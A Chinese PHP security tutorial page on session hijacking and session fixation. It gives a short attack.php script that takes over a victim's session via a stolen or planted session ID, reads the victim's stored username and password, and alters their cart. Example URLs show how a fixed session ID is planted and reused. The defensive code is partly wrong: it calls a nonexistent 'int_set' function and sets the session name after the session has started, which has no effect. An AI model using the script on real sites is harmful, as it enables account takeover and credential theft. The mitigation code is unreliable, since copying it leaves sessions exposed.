快捷搜索:   nginx

PHP漏洞全解(七)-Session劫持(2)

 

 

登录以后显示

 

 

 

开始攻击

//attack.php

<?php

// 打开Session

session_start();

echo "目标用户的Session ID是:" . session_id() . "<br />";

echo "目标用户的username是:" . $_SESSION["username"] . "<br />";

echo "目标用户的password是:" . $_SESSION["password"] . "<br />";

// 将book的数量设置为2000

$_SESSION["book"] = 2000;

?>

提交 http://localhost/attack.php?PHPSESSID=5a6kqe7cufhstuhcmhgr9nsg45 此ID为获取到的客户session id,刷新客户页面以后

 

 

 

客户购买的商品变成了2000

 

session固定攻击

黑客可以使用把session id发给用户的方式,来完成攻击

http://localhost/index.php?user=dodo&PHPSESSID=1234 把此链接发送给dodo这个用户显示

 

 

 

然后攻击者再访问 http://localhost/attack.php?PHPSESSID=1234 后,客户页面刷新,发现

 

 

 

商品数量已经成了2000

 

防范方法

1)定期更改session id

函数 bool session_regenerate_id([bool delete_old_session])

        delete_old_session为true,则删除旧的session文件;为false,则保留旧的session,默认false,可选

在index.php开头加上

<?php

session_start();

session_regenerate_id(TRUE);

......

这样每次从新加载都会产生一个新的session id

2)更改session的名称

session的默认名称是PHPSESSID,此变量会保存在cookie中,如果黑客不抓包分析,就不能猜到这个名称,阻挡部分攻击

<?php

session_start();

session_name("mysessionid");

......

3)关闭透明化session id

透明化session id指当浏览器中的http请求没有使用cookies来制定session id时,sessioin id使用链接来传递;打开php.ini,编辑

session.use_trans_sid = 0

代码中

<?php

int_set("session.use_trans_sid", 0);

session_start();

顶(0)
踩(0)

您可能还会对下面的文章感兴趣:

最新评论